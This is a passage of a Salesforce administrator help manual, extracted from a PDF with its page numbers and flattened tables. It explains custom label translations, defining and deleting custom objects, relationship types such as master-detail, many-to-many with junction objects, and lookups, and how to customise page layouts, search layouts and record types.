User Permissions Needed Create, edit, or delete custom labels: Create or override a translation: Customize Application Manage Translation OR View Setup and Configuration and be designated as a translator

To create or edit custom labels: 1. Go to Your Name > Setup > Create > Custom Labels. 2. Select the custom label name to open the label. 3. In the Translations related list, click New to enter a new translation or Edit next to the language to change a translation. If you click Delete, Salesforce confirms you want to delete, then removes the translation form the custom label. 4. Select the Language you are translating into. 5. Enter the Translation Text. This text overrides the value specified in the label's Value field when a user's default language is the translation language. 6. Click Save.

See Also:
Custom Labels Overview Creating and Editing Custom Labels Viewing Custom Labels Setting Up the Translation Workbench Overriding Labels

1602

Create

Overriding Labels

Overriding Labels
Overriding Labels in Salesforce You can change the display labels of tabs, objects, fields, and other related user interface labels so they better reflect your organization's business requirements. When you rename a label, such as changing the Accounts label to Companies, the new label appears on all user pages, in Connect for Outlook, and in Connect Offline. With rare exception, all pages in the Setup area use the default, original labels. See Renaming Tabs and Field Labels.

Overriding Labels in Managed Packages


You can override the following types of labels in managed packages. Labels of custom tabs, objects, fields, and other related user interface labels. See Entering Overrides to Translations in Managed Packages on page 459. Custom labels. Custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. See Creating and Editing Custom Label Translations on page 1602.

See Also:
Custom Labels Overview Creating and Editing Custom Labels Creating and Editing Custom Label Translations Viewing Custom Labels

What is a Custom Object?


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom objects are custom database tables that allow you to store information unique to your organization. For example, your organization may want to create a custom object called Quotes to store data for your companys sales quotes. For the total number of custom objects you can create, see Salesforce Editions and Limits on page 1898. After you define a custom object, you can: Create custom fields. For the total number of custom fields you can create, see Salesforce Editions and Limits on page 1898. Associate the custom object with other records and display the custom object data in custom related lists. For more information, see Overview of Relationships on page 1610. Track tasks and events for custom object records Build page layouts Customize the search results and the custom object fields that display in them Create a custom tab for the custom object

1603

Create

Defining Custom Objects

Create reports and dashboards to analyze custom object data Share your custom objects, custom tabs, custom apps, and any other related components with other Salesforce users on Force.com AppExchange. See Overview of Packages on page 1775. Import custom object records Set up a queue to distribute ownership of custom object records

See Also:
Defining Object-Level Help Tip sheet: Building Custom Objects, Tabs, and Related Lists What is an App?

Defining Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions S-Controls, Reports, Activities, Divisions, Search, and Custom Tabs are not available in Database.com

User Permissions Needed To create and edit custom objects: "Customize Application"

Define custom objects to track and store data unique to your organization. For the total number of custom objects you can create, see Salesforce Editions and Limits on page 1898. To create a custom object: 1. Click Your Name > Setup > Create > Objects. 2. Click New Custom Object, or click Edit to modify an existing custom object. 3. Enter the following: Field
Label Plural Label

Description A name used to refer to the object in any user interface pages. The plural name of the object. If you create a tab for this object, this name is used for the tab. If it is appropriate for your organizations default language, specify the gender of the label. This field appears if the organization-wide default language expects gender. Your personal language preference setting does not affect whether the field appears. For example, if the organizations default language is English and your personal language is French, you are not prompted for gender when creating a custom object.

Gender

1604

Create

Defining Custom Objects

Field
Starts with a vowel sound

Description If it is appropriate for your organizations default language, check if your label should be preceded by "an" instead of "a." A unique name used to refer to the object when using the Force.com API. In managed packages, this unique name prevents naming conflicts on package installations. The Object Name field can contain only underscores and alphanumeric characters. It must be unique, begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. An optional description of the object. A meaningful description will help you remember the differences between your custom objects when you are viewing them in a list. Defines what displays when users click the Help for this Page context sensitive help link from the custom object record home (overview), edit, and detail pages, as well as list views and related lists. Choose Open the standard Salesforce Help & Training window if you want to display the basic Salesforce help available for any custom object record. Choose Open a window using a Visualforce page or Open a window using a custom s-control to display the Visualforce page or s-control you select as the context-sensitive help link from any custom object record page. Note: The Help & Training link at the top of any page is not affected by this setting. It always opens the Salesforce Help & Training window. For more information on creating custom help, see Custom Help Overview on page 1481.

Object Name

Description

Context-Sensitive Help Setting

Custom S-Control

The s-control you have defined that contains the help content for this custom object. The name used in page layouts, list views, related lists, and search results. The type of field (text or auto-number) for the record name. Records that have unique IDs instead of names use auto-numbers. An auto-number is a unique number assigned automatically. It is always a read-only field. For a Record Name of type auto-number, enter a display format. You can have up to two sets of curly braces. For more details about display format options, see Custom Field Attributes on page 989.

Record Name

Data Type

Display Format

1605

Create

Defining Custom Objects

Field
Starting Number

Description For a Record Name of type auto-number, enter the number to use when creating your first record for this custom object. Makes the data in the custom object records available for reporting purposes. To create reports on custom objects, choose the Other Reports report type category unless the custom object has a relationship with a standard object. When the custom object has a master-detail relationship with a standard object, or is a lookup object on a standard object, select the standard object for the report type category instead.

Allow Reports

Allow Activities

Allows users to associate tasks and scheduled calendar events related to the custom object records. For more information, see Notes on Enabling Activities for Custom Objects on page 1607. If your organization has divisions enabled, select this option to enable the custom object for divisions. Divisions group records for simplified search results, list views, reports, and other areas within Salesforce. Salesforce adds a Division field to the custom object, and if the custom object is the master in a master-detail relationship, any custom objects on the detail side also get the Division field and inherit their division from the master record. Enables your organization to track changes to fields on the custom object records, such as who changed the value of a field, when it was changed, and what the value of the field was before and after the edit. History data is available for reporting, so users can easily create audit trail reports when this feature is enabled. Indicates whether the custom object is visible to other users. For more information, see Deploying Custom Objects on page 1608. Allows users to be able to attach notes and attachments to custom object records. This allows you to attach external documents to any object record, in much the same way that you can add a PDF or photo as an attachment to an email. This option is only available when you are creating a new object.

Enable Divisions

Track Field History

Deployment Status

Add Notes & Attachments...

Launch the New Custom Tab Wizard

Starts the custom tab wizard after you save the custom object.

4. Click Save.

1606

Create

Defining Custom Objects

Notes on Custom Objects


Object Permissions In Enterprise, Unlimited, and Developer Editions, when you create a custom object, the Read, Create, Edit, and Delete permissions for that object are disabled for any profiles in which View All Data or Modify All Data is disabled. You can enable access to custom objects in permission sets or custom profiles, and assign them to the users who need access. For more information, see Overview of User Permissions and Access on page 525. Note: In Contact Manager, Group, and Professional Editions, when you create a custom object, the Read, Create, Edit, and Delete permissions for that object are enabled for all profiles.

Sharing Model The data sharing model for all custom objects is controlled by an organization-wide default setting. For more information, see Custom Object Security on page 1625. Delegating Custom Object Administration After you create a custom object, you can delegate the administration of the custom object to other non-administrator users. Queues After you create a custom object, you can define queues to distribute ownership of custom object records to your users. Search Custom object records appear in search results only if they have a custom tab.

See Also:
Managing Workflow and Approvals Overview of Relationships Defining Object-Level Help

Notes on Enabling Activities for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

If you enable activities when creating a custom object, the activity related lists are added to the default page layout automatically. If you enable activities later, after the custom object already exists, you must add the related lists to the page layout manually. Disabling activities for a custom object does not delete existing activity records. However, activity related lists are removed from custom object pages, and reports containing activities and the custom object are deleted. If a custom object has a master-detail relationship with accounts, the custom objects activities roll up to the account and cause the accounts Last Activity date to be updated. For custom objects related to other types of records, the activities do not roll up. The ability to send emails or create mail merge documents is available for activities on custom objects. The email must be sent to a contact or lead.

1607

Create

Defining Custom Objects

When you change the ownership of a custom object record, any open activities related to that custom object are also transferred to the new record owner. You cannot disable activity tracking for a custom object if any workflow tasks are associated with that custom object, or if tasks and events are child data sets of the custom object in a mobile configuration. Custom object records can only be associated with a call log in Salesforce CRM Call Center if activities are enabled for the object.

See Also:
Defining Custom Objects Creating a Many-to-Many Relationship Defining Data Sets

Deploying Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To deploy custom objects: Customize Application

While developing custom objects, you may not want users to see and interact with a new object. Because users may get frustrated with changes in layout or lose data when you delete custom fields, control visibility of the new object until you are finished. Use the Deployment Status setting in the custom object definition to control when users can see and use a custom object and its associated custom tab, related lists, and reports. Choose In Development as the Deployment Status when first creating your custom object to hide it from users while you are designing and testing it. Making the status In Development hides the custom object tab, search results, related lists, and report data types from all users except those with the Customize Application permission. Change the Deployment Status to Deployed when you want to allow all users to use the custom object and any associated custom tab, related lists, and reports. After deploying a custom object, change the Deployment Status back to In Development if you want to make more enhancements to it. Note: A custom report type's Deployment Status changes from Deployed to In Development if its primary object is a custom object whose Deployment Status similarly changes. For more information, see Creating Custom Report Types on page 2736.

See Also:
Defining Custom Objects

1608

Create

Managing Custom Objects

Managing Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Managed Packages are not available in Database.com.

User Permissions Needed To create and edit custom objects: Customize Application

After creating your custom objects, you can customize, edit, and delete them. Click Your Name > Setup > Create > Objects to display the Custom Objects list page, which shows the list of custom objects defined for your organization. From the Custom Objects list page, you can: Click New Custom Object to define a custom object. Click the object name to display detailed information about the custom object and customize it further. Optional features you can customize include enabling reports, tracking activities, tracking field history, and making the object available for the Salesforce Customer Portal. To update the custom object definition, click Edit and update the desired fields in the wizard. Note: The Allow Reports and Allow Activities fields are not locked in Managed - Released and can be changed by the developer in future releases of a managed package To delete a custom object, click Del. Note: You can't delete more than 100,000 combined objects and child records at the same time. To delete an object that has more than 100,000 child records, first delete an appropriate number of its child records. To view deleted custom objects, click the Deleted Objects link. The total number of deleted custom objects for your organization is listed in parenthesis.

When viewing the detail page of a custom object, the lower portion page provides information about various characteristics of the custom object: standard fields, custom fields, field history tracking, relationships, custom links, search layouts, and page layouts. You can: Click on individual items to display additional detail. Click more at the bottom of the page or View More below a related list to display more items. Click New to directly add new items. Note: Hover over the links at the top of a detail page to display the corresponding related list and its records. If Chatter is enabled, hover links display below the feed. An interactive overlay allows you to quickly view and manage the related

1609

Create

Overview of Relationships

list items. Click a hover link to jump to the content of the related list. If hover links are not enabled, contact your Salesforce administrator.

See Also:
What is a Custom Object? Overview of Relationships Customizing Custom Objects Import My Organization's Custom Objects Tracking Field History Defining Object-Level Help Tip sheet: Building Custom Objects, Tabs, and Related Lists

Overview of Relationships
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Use relationships to associate an object with other objects in Salesforce. For example, a relationship can link custom object records to standard object records in a related list, such as linking a custom object called Bugs to cases to track product defects associated with customer cases. You can define different types of relationships by creating custom relationship fields on an object. Before you begin creating relationships, determine the type of relationship that suits your needs. There are different types of relationships between objects in Salesforce. Their differences include how they handle data deletion, record ownership, security, and required fields in page layouts: Master-detail This type of relationship closely links objects together such that the master record controls certain behaviors of the detail and subdetail record. For example, you can define a two-object master-detail relationship, such as AccountExpense Report, the extend the relationship to subdetail records, such as AccountExpense ReportExpense Line Item. You can then perform operations across the masterdetailsubdetail relationship. Behaviors of master-detail relationships include: When a master record is deleted, the related detail and subdetail records are also deleted. The Owner field on the detail and subdetail records is not available and is automatically set to the owner of the master record. Custom objects on the detail side of a master-detail relationship can't have sharing rules, manual sharing, or queues, as these require the Owner field. The security settings for the master record control the detail and subdetail records. The master-detail relationship field (which is the field linking the objects) is required on the page layout of the detail and subdetail records. The master object can be a standard object, such as Account or Opportunity, or a custom object. As a best practice, don't exceed 10,000 child records for a master-detail relationship.

1610

Create

Overview of Relationships

Tip: If you have a custom object called Expenses and you want each expense record deleted along with its associated opportunity record, create a master-detail relationship on the Expenses custom object with Opportunity as the master object. Many-to-many You can use master-detail relationships to model many-to-many relationships between two standard objects, two custom objects, or a custom object and a standard object. A many-to-many relationship allows each record of one object to be linked to multiple records from another object and vice versa. For example, you may have a custom object called Bug that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs. See Creating a Many-to-Many Relationship on page 1612. Lookup This type of relationship links two objects together, but it has no effect on record ownership or security, and the lookup relationship field is not required in the page layout. Use lookup relationships to: Link two different objects, custom or standard. Link an object with itself, custom or standard (with the exception of the user object; see Hierarchical on page 1611). For example, you may want to link a custom object called Bug with itself to show how two different bugs are related to the same problem. Note: Lookup relationships from objects related to the campaign member object are not supported, however, you can create lookup relationships from the campaign member object related to other objects.

When you define a lookup relationship, you have the option to include a lookup field on the page layouts for that object as well as create a related list on the associated object's page layouts. For example, if you have a custom object called PTO Requests and you want your users to link a PTO request with the employee submitting the request, create a lookup relationship from the PTO Request custom object with the user object. You can't delete an object or record in a lookup relationship if the combined number of records between the two linked objects is more than100,000. To delete an object or record in a lookup relationship, first delete an appropriate number of its child records. Hierarchical This type of relationship is a special lookup relationship available only for the user object. It allows users to use a lookup field to associate one user with another that does not directly or indirectly refer to itself. For example, you can create a custom hierarchical relationship field to store each user's direct manager. Tip: When creating a hierarchical field in Personal, Contact Manager, Group, and Professional Editions, you can select the Restricted Field checkbox so that only users with the Manage Users permission can edit it. In Enterprise, Unlimited, and Developer Edition, use field-level security instead.

See Also:
Considerations for Relationships Defining Custom Objects Creating Custom Fields

1611

Create

Overview of Relationships

Creating a Many-to-Many Relationship


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Reports are not available in Database.com.

User Permissions Needed To create a many-to-many relationship: Customize Application

You can use master-detail relationships to model many-to-many relationships between two standard objects, two custom objects, or a custom object and a standard object. A many-to-many relationship allows each record of one object to be linked to multiple records from another object and vice versa. For example, you may have a custom object called Bug that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs. When modeling a many-to-many relationship, you use a junction object to connect the two objects you want to relate to each other. Junction Object A custom object with two master-detail relationships. Using a custom junction object, you can model a many-to-many relationship between two objects. For example, you may have a custom object called Bug that relates to the standard case object such that a bug could be related to multiple cases and a case could also be related to multiple bugs. Creating the many-to-many relationship consists of: 1. 2. 3. 4. Creating the junction object. Creating the two master-detail relationships. Customizing the related lists on the page layouts of the two master objects. Customizing reports to maximize the effectiveness of the many-to-many relationship.

Creating the Junction Object To create the junction object: 1. Click Your Name > Setup > Create > Objects. 2. Click New Custom Object. 3. In the custom object wizard, consider these tips specifically for junction objects: Name the object with a label that indicates its purpose, such as BugCaseAssociation. For the Record Name field, it is recommended that you use the auto-number data type. Do not launch the custom tab wizard before clicking Save. Junction objects do not need a tab.

Creating the Two Master-Detail Relationships To create the two master-detail relationships: 1. Verify that the two objects you want to relate to each other already exist. For example, you may want to relate the standard case object to a custom bug object. 2. On the junction object, create the first master-detail relationship field. In the custom field wizard:

1612

Create

Overview of Relationships

a. Choose Master-Detail Relationship as the field type. b. Select one of the objects to relate to your junction object. For example, select Case. The first master-detail relationship you create on your junction object becomes the primary relationship. This affects the following for the junction object records: Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master object. Record ownership: The junction object records inherit the value of the Owner field from their associated primary master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only relevant if you later delete both master-detail relationships on your junction object. Division: If your organization uses divisions to segment data, the junction object records inherit their division from their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both master-detail relationships.

c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records. d. For the Related List Label that will display on the page layout of the master object, do not accept the default. Change this to use the name of the other master object in your many-to-many relationship. For example, change this to Bugs so users will see a Bugs related list on the case detail page. 3. On the junction object, create the second master-detail relationship. In the custom field wizard: a. Choose Master-Detail Relationship as the field type. b. Select the other desired master object to relate to your junction object. For example, select Bug. The second master-detail relationship you create on your junction object becomes the secondary relationship. If you delete the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes primary. c. Select a Sharing Setting option. For master-detail relationship fields, the Sharing Setting attribute determines the sharing access that users must have to a master record in order to create, edit, or delete its associated detail records. d. For the Related List Label that will display on the page layout of the master object, do not accept the default. Change this to use the name of the other master object in your many-to-many relationship. For example, change this to Cases so users will see a Cases related list on the bug detail page. Customizing Many-to-Many Relationship Related Lists For a many-to-many relationship in Salesforce, each master object record displays a related list of the associated junction object records. To create a seamless user experience, you can change the name of the junction object related list on each of the master object page layouts to have the name of the other master object. For example, you might change the BugCaseAssociations related list to Cases on the bugs page layout and to Bugs on the cases page layout. You can further customize these related lists to display fields from the other master object. To customize the fields that display in the junction object related list on each master object page layout: 1. Edit the page layout of each master object that is related to the junction object. For example, to modify the BugCaseAssociations related list for case records, edit the page layout for cases at Your Name > Setup > Customize > Cases > Page Layouts. 2. Edit the properties of the related list you want to modify. For example, on cases the BugCaseAssociations related list was renamed to Bugs, so select the Bugs related list. 3. Add the fields to display in the related list. You can add fields from the junction object itself, but more importantly, you can add fields from the other master object. Each field is prefixed with its object name in the popup window. In the related list itself, only fields from the junction object are prefixed with the object name; fields from the other master object are not.

1613

Create

Overview of Relationships

Note: The junction object related list does not include an icon on the master record's detail pages because the junction object does not have a custom tab. If you make a tab for the junction object, the icon is included.

Customizing Reports for Many-to-Many Relationships Many-to-many relationships provide two standard report types that join the master objects and the junction object. The report types are: Primary master with junction object and secondary master in the primary master object's report category Secondary master with junction object and primary master in the secondary master object's report category

The order of the master objects in the report type is important. The master object listed first determines the scope of records that can be displayed in the report. You can create custom reports based on these standard report types. In addition, you can create custom report types to customize which related objects are joined in the report.

See Also:
Defining Custom Objects Considerations for Relationships Custom Report Types Overview

Considerations for Relationships


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

Review the following considerations before creating relationships between objects: Relationship Limits Each custom object can have up to two master-detail relationships and many lookup relationships. Each relationship is included in the maximum number of custom fields allowed. For the total number of custom fields you can create, see Salesforce Editions and Limits on page 1898. Changing and Converting Relationships After you have created a relationship, you can't change which objects are related via that relationship. If you need to do this, delete the relationship and create a new relationship. You can convert a master-detail relationship to a lookup relationship as long as no roll-up summary fields exist on the master object. You can convert a lookup relationship to a master-detail relationship, but only if the lookup field in all records contains a value. Self Relationships You can create a relationship from an object to itself, but it must be a lookup relationship, and a single record can't be linked to itself. However, a record can indirectly relate to itself. For example, the Holiday Promotion campaign can have

1614

Create

Overview of Relationships

the Direct Mail campaign selected in the lookup relationship, and the Direct Mail campaign can have the Holiday Promotion campaign selected in the lookup relationship. You can't create a many-to-many self relationship, that is, the two master-detail relationships on the junction object can't have the same master object. Icons for Custom Related Lists The icon you select for the associated custom tab also displays in any custom related list you create based on a relationship. For more information on choosing the icon for your custom tab, see Creating Custom Object Tabs. Custom related lists do not include an icon if they are based on a relationship with a custom object that does not have a custom tab. Master-Detail Relationships To create multilevel master-detail relationships, you need the "Customize Application" user permission. When you define a master-detail relationship, the custom object on which you are working is the detail side. Its data can appear as a custom related list on page layouts for the other object. If a custom object is detail or subdetail component a master-detail relationship, it can't also be the master of a different master-detail relationship. You can have up to three custom detail levels. Standard objects can't be on the detail side of a custom object in a master-detail relationship. An object can appear once in multilevel master-detail relationships. For example, a subdetail object in one multilevel master-detail relationship can't also be the owner of the master object in another multilevel master-detail relationship. A subdetail object can't also be the master object of the subdetail object's detail object. Multilevel master-detail relationships do not support division transfers. You can't create a master-detail relationship if the custom object already contains data. You can, however, create the relationship as a lookup and then convert it to master-detail if the lookup field in all records contains a value. Converting relationships from lookup to master-detail, or from master-detail to lookup behaves the same as for two-object master-detail relationships. That is, the two linked objects in the detail-subdetail1, or subdetail1-subdetail2 relationship have the same conversion limits as the master-detail relationship. Roll-up summary fields work as in two-object master-detail relationships. A master can roll up fields on detail records; however, it can't directly roll up fields on subdetail records. To achieve this, the detail record must have a roll-up summary field for the field on the subdetail record, allowing the master to roll up from the detail's roll-up summary field. You can use multilevel master-detail relationships in custom report types. The Allow Reports checkbox must be checked when you create the custom object. Custom report types created for multilevel master-detail relationships count towards the organizations custom report type limit and no reports are generated if this limit is exceeded. See Salesforce Editions and Limits on page 1898. Custom junction objects, can't have detail objects. That is, a custom junction object can't become the master object in a multilevel master-detail relationship. When you delete a custom object that is on the detail side of a master-detail relationship, the relationship is converted to a lookup relationship. If you restore the custom object, you must manually convert it to a master-detail. See Changing Custom Field Type on page 1163. You can't delete a custom object if it is on the master side of a master-detail relationship.

1615

Create

Overview of Relationships

Undeleting the master record also undeletes detail and subdetail records. As a best practice, don't exceed 10,000 child records for a master-detail relationship. Many-to-Many Relationships Junction object records are deleted when either associated master record is deleted and placed in the Recycle Bin. If both associated master records are deleted, the junction object record is deleted permanently and can't be restored. Sharing access to a junction object record is determined by a user's sharing access to both associated master records and the Sharing Setting option on the relationship field. See Custom Object Security on page 1625. For example, if the sharing setting on both parents is Read/Write, then the user must have Read/Write access to both parents in order to have Read/Write access to the junction object. If, on the other hand, the sharing setting on both masters is Read-Only, a user with Read-Only rights on the master records would have Read/Write access to the junction object. You can create workflow rules and approval processes on junction objects; however, you cannot create outbound messages on junction objects. In a many-to-many relationship, a user can't delete a parent record if there are more than 200 junction object records associated with it and if the junction object has a roll-up summary field that rolls up to the other parent. To delete this object, manually delete junction object records until the count is fewer than 200. The first master-detail relationship you create on your junction object becomes the primary relationship. This affects the following for the junction object records: Look and feel: The junction object's detail and edit pages use the color and any associated icon of the primary master object. Record ownership: The junction object records inherit the value of the Owner field from their associated primary master record. Because objects on the detail side of a relationship do not have a visible Owner field, this is only relevant if you later delete both master-detail relationships on your junction object. Division: If your organization uses divisions to segment data, the junction object records inherit their division from their associated primary master record. Similar to the record ownership, this is only relevant if you later delete both master-detail relationships.

The second master-detail relationship you create on your junction object becomes the secondary relationship. If you delete the primary master-detail relationship or convert it to a lookup relationship, the secondary master object becomes primary. Roll-up summary fields that summarize data from the junction object can be created on both master objects. Formula fields and validation rules on the junction object can reference fields on both master objects. You can define Apex triggers on both master objects and the junction object. A junction object can't be on the master side of another master-detail relationship. You can't create a many-to-many self relationship, that is, the two master-detail relationships on the junction object can't have the same master object. Impact of Relationships on Reports The type of relationship you create affects which standard report types are available and how they are categorized. These report types determine which related objects can be included in the report: Lookup relationships allow data from the two related objects to be joined in one report.

1616

Create

Overview of Relationships

Master-detail relationships allow data from three objects to be joined in one report: the master object, the detail object, plus one other lookup object. If the detail object has multiple lookup relationships, a separate report type is available based on each lookup. Many-to-many relationships provide two standard report types that join the master objects and the junction object. The report types are: Primary master with junction object and secondary master in the primary master object's report category Secondary master with junction object and primary master in the secondary master object's report category The order of the master objects in the report type is important. The master object listed first determines the scope of records that can be displayed in the report.

The reporting impact of each relationship type is summarized in the following table: Relationship Type Lookup Standard Report Types Object by itself Object with first lookup Object with second lookup Object with third lookup Master-Detail Master object by itself Master object with detail object Master object with detail object and first lookup Master object with detail object and second lookup Master object with detail object and third lookup Many-to-Many Primary master object by itself Secondary master object by itself Primary master object with junction object and secondary master object Secondary master object with junction object and primary master object Primary master object and Secondary master object Master object Report Type Category Based on the object

Custom report types give you more flexibility to join data from multiple objects, including lookups as well as master-detail relationships. Important: Converting a relationship from lookup to master-detail or vice versa can cause existing custom reports to become unusable due to the different standard report types available for each type of relationship.

1617

Create

Customizing Custom Objects

We recommend that you test your custom reports immediately after converting the relationship type. If you revert your relationship back to the original type, the reports are restored and become usable again.

See Also:
Overview of Relationships Creating a Many-to-Many Relationship

Customizing Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To customize custom objects: Customize Application

Customize the user interface for your custom objects by: Creating a custom tab; see Defining Custom Tabs on page 1631 Creating custom fields and relationships; see Defining Custom Object Fields on page 1619 Adding customized buttons and links to perform actions or link to other pages or websites; see Defining Custom Buttons and Links on page 1166 Defining which fields display for users on record detail and edit pages; see Building Page Layouts for Custom Objects on page 1620 Specifying which fields display for users in search results, lookup dialogs, and in the key lists on custom object tabs; see Customizing Search Layouts for Custom Objects on page 1621 Creating record types to display different picklist values and page layouts to different users based on their profiles; see Creating Custom Object Record Types on page 1621

1618

Create

Customizing Custom Objects

Defining Custom Object Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Divisions are not available in Database.com.

User Permissions Needed To view and edit standard fields: To create custom fields: Customize Application Customize Application

Custom object fields store the data for your custom object records. Custom Fields for Custom Objects You can create custom fields to store information unique to your organization; see Creating Custom Fields on page 981. You can also create custom relationship fields to associate your custom object with another object in Salesforce. For more information about relationships, see Overview of Relationships on page 1610. Standard Fields for Custom Objects Custom objects automatically include the following standard fields. Click Edit to modify any of the editable fields. Field
Created By Currency Division

Description User who created the record. Currency of the record if multicurrency is enabled. Division to which the custom object record belongs. Custom objects that are detail objects in a master-detail relationship inherit their division from the master object. Custom objects that are not related to other records are automatically in the global division. Available only in organizations that use divisions to segment their data. User who most recently changed the record. Identifier for the custom object record. This name appears in page layouts, related lists, lookup dialogs, search results, and key lists on tab home pages. By default, this field is added to the custom object page layout as a required field. Assigned owner of the custom object record. If the custom object becomes the detail side of a master-detail relationship, this field is removed, as ownership of the data is controlled by the master object, or by the primary master object for a custom object with two master-detail relationships.

Last Modified By Name

Owner

1619

Create

Customizing Custom Objects

Field

Description Note: Custom objects on the detail side of a master-detail relationship can't have sharing rules, manual sharing, or queues, as these require the Owner field.

See Also:
Customizing Custom Objects Overview of Relationships

Building Page Layouts for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define page layouts for custom objects: Customize Application

Page layouts define which fields users can view and edit when entering data for a custom object record. You can use the default page layout that is created automatically when you create a custom object. You can also build your own page layout with related lists and custom links. If you do not use any page layout with your custom object, you can still interact with it by using the Force.com API to manage custom data or build a custom user interface. To define a page layout for a custom object: 1. Click Your Name > Setup > Create > Objects. 2. Select one of the custom objects in the list. 3. In the Page Layouts related list, click Edit next to one of the page layouts to modify it, or click New to create a new page layout. 4. When creating a new page layout, enter a name for it, and select an existing page layout to clone, if desired. 5. Edit the page layout just as you would any other page layout. 6. Click Save.

See Also:
What is a Custom Object? Customizing Page Layouts Customizing Custom Objects

1620

Create

Customizing Custom Objects

Customizing Search Layouts for Custom Objects


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To define search layouts for custom objects: Customize Application

You can customize which custom object fields display for users in search results, in lookup dialogs, and in the key lists on custom tab home pages. You can specify a different set of fields to show in each search layout. The settings apply to all users in your organization. Additionally, customize which buttons display in custom list views and search results. You can hide a standard list view button or display a custom button. Standard buttons are not available on search result layouts. To display a custom button, create the custom button and give it a List Button Display Type. 1. Click Your Name > Setup > Create > Objects. 2. Select one of the custom objects in the list. 3. In the Search Layouts related list, click Edit next to the search layout you want to modify. Note: The fields you select for the key lists on the custom tab home page are also used as the columns displayed in the default All list view and as the default columns for any new list views. To view different columns, customize the list view itself. 4. Use the arrows to add or remove fields from the search layout, and to define the order in which the fields should display. 5. Use the arrows to add or remove custom buttons from the layout, and to define the order in which the buttons should display. To select more than one item, use CTRL+click or SHIFT+click to select multiple items in a range. Select one or more items in the available list and click Add to add them to the layout. Select one or more items in the selected list and click Remove to remove them from the layout. Select one or more items in the selected list and click Up to move them higher in the list. Select one or more items in the selected list and click Down to move them lower in the list.

6. Click Save. For more details about search layouts, see Notes on Search Layouts on page 1217.

See Also:
Customizing Search Layouts Customizing Custom Objects

Creating Custom Object Record Types

1621

Create

Customizing Custom Objects

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To create record types for custom objects: Customize Application

Create record types for a custom object to display different picklist values and page layouts to different users based on their profiles. For more information about record types, see Managing Record Types on page 1180. 1. 2. 3. 4. Click Your Name > Setup > Create > Objects. Select the custom object. Click New in the Record Types related list. Choose Master from the Existing Record Type drop-down list to copy all available picklist values, or choose an existing record type to clone its picklist values. 5. Enter a Record Type Label that's unique within the object. 6. Enter a description. 7. Select Active to activate the record type. 8. Select Enable for Profile next to a profile to make the record type available to users with that profile. Select the checkbox in the header row to enable it for all profiles. 9. For enabled profiles, select Make Default to make it the default record type for users of that profile. Select the checkbox in the header row to make it the default for all profiles. 10. Click Next. 11. Choose a page layout option to determine what page layout displays for records with this record type: To apply a single page layout for all profiles, select Apply one layout to all profiles and choose the page layout from the drop-down list. To apply different page layouts based on user profiles, select Apply a different layout for each profile and choose a page layout for each profile.

12. Click Save to edit the values of the standard and custom picklists available for the record type, or click Save and New to create another record type.

See Also:
Customizing Custom Objects

Deleting Custom Objects

1622

Create

Deleting Custom Objects

Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To delete custom objects: Customize Application

To delete custom objects: 1. Click Your Name > Setup > Create > Objects. 2. Next to the custom object, click Del. 3. When prompted, select the Yes, I want to delete the custom object checkbox to confirm, and click Delete.

Notes on Deleting Custom Objects


When you delete a custom object, Salesforce does not list it in the Recycle Bin with other deleted records. Instead, deleted objects appear in the Deleted Custom Objects list for 45 days. During this time you can restore an object and the data stored in it, or permanently erase the object and its data. After 45 days, the object and its data are permanently erased. If a user clicks a bookmark to a deleted custom object record's URL, Salesforce displays an Insufficient Privileges message. For more information on restoring custom objects, see Managing Deleted Custom Objects on page 1624. Until permanently erased, the custom object and its data still count against the maximum number of items allowed in your organization. To view a list of the maximum number of custom objects, fields, and other items allowed in your organization, see Salesforce Editions and Limits on page 1898. When you delete a custom object, Salesforce does the following: Removes the object from Force.com AppExchange packages. If the deleted object is on the detail side of a master-detail relationship, changes the master-detail relationship to a lookup relationship. Permanently erases: The object's data records currently in the Recycle Bin Custom tab, which is removed from any custom apps List views for the object Workflow rules and actions that use the object Mobile configuration settings, including data sets, mobile views, and excluded fields If the deleted object is on the detail side of a master-detail relationship: Standard report types associated with this object Reports based on standard report types

Hides, inactivates, or disables: The custom object definition and all related definitions The object's data records and all related data records Custom report types for which this is the main object Custom reports for which this is the main object Custom formula fields on the object Custom validation rules and approval processes on the object

Salesforce restores these items if you restore the custom object.

1623

Create

Managing Deleted Custom Objects

